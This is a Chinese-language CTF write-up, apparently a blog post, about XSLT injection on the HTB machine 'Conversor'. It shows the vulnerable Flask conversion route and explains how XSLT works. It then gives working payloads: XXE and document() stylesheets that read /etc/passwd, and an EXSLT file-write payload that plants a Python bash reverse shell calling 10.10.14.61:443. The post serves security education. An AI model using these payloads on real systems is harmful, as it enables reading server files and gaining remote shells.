1. 背景介绍
该技术是在HTB靶场中遇到的。 
在题目中80端口上运行着一个web应用,其主要功能是将nmap扫描结果的xml文件通过xslt转换成更美观的html页面。通过分析web页面系下载的网站源码,存在XLST注入,核心转换代码:
@app.route('/convert', methods=['POST'])
def convert():
if 'user_id' not in session:
return redirect(url_for('login'))
xml_file = request.files['xml_file']
xslt_file = request.files['xslt_file']
from lxml import etree
xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
xml_file.save(xml_path)
xslt_file.save(xslt_path)
try:
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
xml_tree = etree.parse(xml_path, parser)
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
result_html = str(result_tree)
file_id = str(uuid.uuid4())
filename = f"{file_id}.html"
html_path = os.path.join(UPLOAD_FOLDER, filename)
with open(html_path, "w") as f:
f.write(result_html)
conn = get_db()
conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
conn.commit()
conn.close()
return redirect(url_for('index'))
except Exception as e:
return f"Error: {e}"从源码中可以看到,使用xslt转换时直接使用了用户提供的xslt文件,而没有做任何的过滤。存在注入风险。
结合install.md文档中的描述,在/var/www/conversor.htb/目录下会有定时任务执行python脚本。本题利用思路是通过XLST注入向该目录写入反弹shell的python脚本,从而拿到初始化shell。具体的writeup已发布至知识星球。
下面我们来看看XSLT技术以及对应的注入攻击。
2. 什么是XSLT
相关资料
核心功能与特点
- 格式转换:最常见的用途是将 XML 数据转换为浏览器可直接显示的 HTML/XHTML。它也可以转换为其他 XML 文档、纯文本、甚至 PDF 文档。
- 内容重组:在转换过程中,你可以轻松地对元素进行排序、过滤(隐藏或显示特定内容)、增加新元素或修改属性,而不会改变原始的 XML 文件。
- 依赖 XPath:XSLT 使用 XPath 语言在源 XML 文档中进行导航,通过“模板匹配”机制精准定位需要转换的节点。
- 声明式编程:不同于 C++ 或 Java 等命令式语言,你只需要在 XSLT 样式表中定义“当遇到某个元素时该做什么”,剩下的处理逻辑由 XSLT 处理器自动完成
工作流程
- 输入:包含数据的 XML 源文件。
- 规则:定义了转换逻辑的 XSLT 样式表文件(其本身也是一个 XML 文档)。
- 处理:XSLT 处理器(如 Saxon、Xalan 或浏览器内置引擎)将规则应用到源文件。
- 输出:生成全新的结果树(如 HTML 网页)。
既然xslt是预定义好的转换模板,我们来看看xslt是如何定义的。把文档声明为 XSL 样式表的根元素是 xsl:stylesheet 或 xsl:transform。两者是等效的。 根据 W3C 的 XSLT 标准,声明 XSL 样式表的正确方法是:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">或者
<xsl:transform version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">以下是Conversor题目中给出的转换nmap结果的xslt文件
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" indent="yes" />
<xsl:template match="/">
<html>
<head>
<title>Nmap Scan Results</title>
<style>
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(120deg, #141E30, #243B55);
color: #eee;
margin: 0;
padding: 0;
}
h1, h2, h3 {
text-align: center;
font-weight: 300;
}
.card {
background: rgba(255, 255, 255, 0.05);
margin: 30px auto;
padding: 20px;
border-radius: 12px;
box-shadow: 0 4px 20px rgba(0,0,0,0.5);
width: 80%;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 15px;
}
th, td {
padding: 10px;
text-align: center;
}
th {
background: rgba(255,255,255,0.1);
color: #ffcc70;
font-weight: 600;
border-bottom: 2px solid rgba(255,255,255,0.2);
}
tr:nth-child(even) {
background: rgba(255,255,255,0.03);
}
tr:hover {
background: rgba(255,255,255,0.1);
}
.open {
color: #00ff99;
font-weight: bold;
}
.closed {
color: #ff5555;
font-weight: bold;
}
.host-header {
font-size: 20px;
margin-bottom: 10px;
color: #ffd369;
}
.ip {
font-weight: bold;
color: #00d4ff;
}
</style>
</head>
<body>
<h1>Nmap Scan Report</h1>
<h3><xsl:value-of select="nmaprun/@args"/></h3>
<xsl:for-each select="nmaprun/host">
<div class="card">
<div class="host-header">
Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
<xsl:if test="hostnames/hostname/@name">
(<xsl:value-of select="hostnames/hostname/@name"/>)
</xsl:if>
</div>
<table>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>State</th>
</tr>
<xsl:for-each select="ports/port">
<tr>
<td><xsl:value-of select="@portid"/></td>
<td><xsl:value-of select="@protocol"/></td>
<td><xsl:value-of select="service/@name"/></td>
<td>
<xsl:attribute name="class">
<xsl:value-of select="state/@state"/>
</xsl:attribute>
<xsl:value-of select="state/@state"/>
</td>
</tr>
</xsl:for-each>
</table>
</div>
</xsl:for-each>
</body>
</html>
</xsl:template>
</xsl:stylesheet>这里我们再结合xlm格式的nmap扫描结果就可以看出xslt是如何进行转换的了 
xslt中两层for-each循环分别从nmaprun/host标签中提取Host、Port、protocol、service信息重新组织成html格式。
3. XSLT注入攻击
XSLT 注入(XSLT Injection)是一种类似于 SQL 注入的安全漏洞,主要发生在应用程序将未经校验的用户输入拼接到 XSLT 样式表中,或允许用户上传自定义 XSLT 文件进行 XML 转换时。
由于 XSLT 本身功能非常强大(支持读取外部文件、执行脚本或调用底层库),攻击者可以借此绕过安全限制。
参考资料:https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT Injection/
核心危害
- 远程代码执行 (RCE):这是最严重的危害。某些 XSLT 处理器(如 Java 的 Xalan 或 .NET 的 System.Xml)允许在样式表中嵌入脚本(如 JavaScript, C#)或调用 Java/C# 类库。如果配置不当,攻击者可以直接在服务器上运行恶意命令。
- 敏感信息泄露:利用 document() 函数或 XXE(XML 外部实体)技术,攻击者可以读取服务器上的本地文件(如 /etc/passwd 或配置文件)。
- 内部网络扫描:攻击者可以利用服务器作为跳板,使用 XSLT 的网络请求功能探测内网开放的端口和内网资源。
- 拒绝服务 (DoS):通过构造递归循环或处理极大的 XML 文档,耗尽服务器 CPU 或内存资源。
在这篇文章中作者尝试了三种利用方式:
方式1: 通过xslt读取本地文件
利用XEE读取
<?xml version="1.0"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body><pre>&content;</pre></body></html>
</xsl:template>
</xsl:stylesheet>利用document读取
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<pre>
<xsl:copy-of select="document('/etc/passwd')"/>
</pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>方式2: 写文件 利用xslt的document函数写入python版本的shell
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="/var/www/conversor.htb/static/test.py" method="text">
import os
os.system('bash -c "bash -i >%26 /dev/tcp/10.10.14.61/443 0>%261"')
</exploit:document>
</xsl:template>
</xsl:stylesheet>或者利用burpsuite修改POST数据,来写入文件 

